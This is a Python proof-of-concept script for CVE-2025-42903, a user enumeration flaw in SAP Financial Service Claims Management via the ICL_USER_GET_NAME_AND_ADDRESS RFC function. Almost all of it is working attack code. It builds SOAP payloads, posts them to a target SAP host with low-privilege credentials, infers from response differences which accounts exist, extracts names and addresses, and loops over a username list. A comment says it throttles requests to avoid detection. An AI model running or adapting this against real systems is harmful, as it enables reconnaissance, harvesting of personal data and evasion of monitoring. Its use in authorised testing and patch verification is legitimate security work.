# CVE-2025-42903 SAP User Enumeration PoC
# Vulnerability: SAP Financial Service Claims Management - ICL_USER_GET_NAME_AND_ADDRESS
# Description: User enumeration via response discrepancies in RFC function
import requests
from requests_ntlm import HttpNtlmAuth
class SAPUserEnumeration:
def __init__(self, sap_host, sap_port, client, username, password):
self.base_url = f"http://{sap_host}:{sap_port}/sap/bc/soap/rfc"
self.client = client
self.auth = HttpNtlmAuth(username, password)
def build_rfc_payload(self, target_user):
"""Build SOAP RFC payload to call ICL_USER_GET_NAME_AND_ADDRESS"""
soap_payload = f"""<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:urn="urn:sap-com:document:sap:rfc:functions">
<SOAP-ENV:Header>
<urn:Authentication>
<urn:Client>{self.client}</urn:Client>
<urn:Username></urn:Username>
<urn:Password></urn:Password>
</urn:Authentication>
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<urn:Z_ICL_USER_GET_NAME_AND_ADDRESS>
<IV_USERNAME>{target_user}</IV_USERNAME>
</urn:Z_ICL_USER_GET_NAME_AND_ADDRESS>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>"""
return soap_payload
def enumerate_user(self, target_user):
"""Check if a user exists by analyzing response differences"""
payload = self.build_rfc_payload(target_user)
headers = {
"Content-Type": "text/xml; charset=UTF-8",
"SOAPAction": ""
}
try:
response = requests.post(
self.base_url,
data=payload,
headers=headers,
auth=self.auth,
timeout=10
)
# Analyze response for enumeration clues
if response.status_code == 200:
if "NAME_FOUND" in response.text or len(response.text) > 500:
return {
"user": target_user,
"exists": True,
"response_length": len(response.text),
"data": self._extract_user_data(response.text)
}
else:
return {"user": target_user, "exists": False}
else:
return {"user": target_user, "error": response.status_code}
except Exception as e:
return {"user": target_user, "error": str(e)}
def _extract_user_data(self, response_text):
"""Extract user name and address from response"""
data = {}
# Parse XML response to extract sensitive information
import xml.etree.ElementTree as ET
try:
root = ET.fromstring(response_text)
for elem in root.iter():
if 'NAME' in elem.tag:
data['name'] = elem.text
elif 'ADDRESS' in elem.tag:
data['address'] = elem.text
except:
pass
return data
def bulk_enumerate(self, user_list):
"""Enumerate multiple users from a list"""
results = []
for user in user_list:
result = self.enumerate_user(user)
results.append(result)
# Rate limiting to avoid detection
import time
time.sleep(0.5)
return results
# Usage example
if __name__ == "__main__":
# Configure SAP connection parameters
enumerator = SAPUserEnumeration(
sap_host="sap.target.com",
sap_port=8000,
client="100",
username="low_priv_user",
password="password123"
)
# List of usernames to enumerate
target_users = ["admin", "john.doe", "jane.smith", "test_user"]
# Perform enumeration
results = enumerator.bulk_enumerate(target_users)
# Print results
for result in results:
if result.get("exists"):
print(f"[+] User found: {result['user']}")
print(f" Data: {result.get('data', {})}")
else:
print(f"[-] User not found: {result['user']}")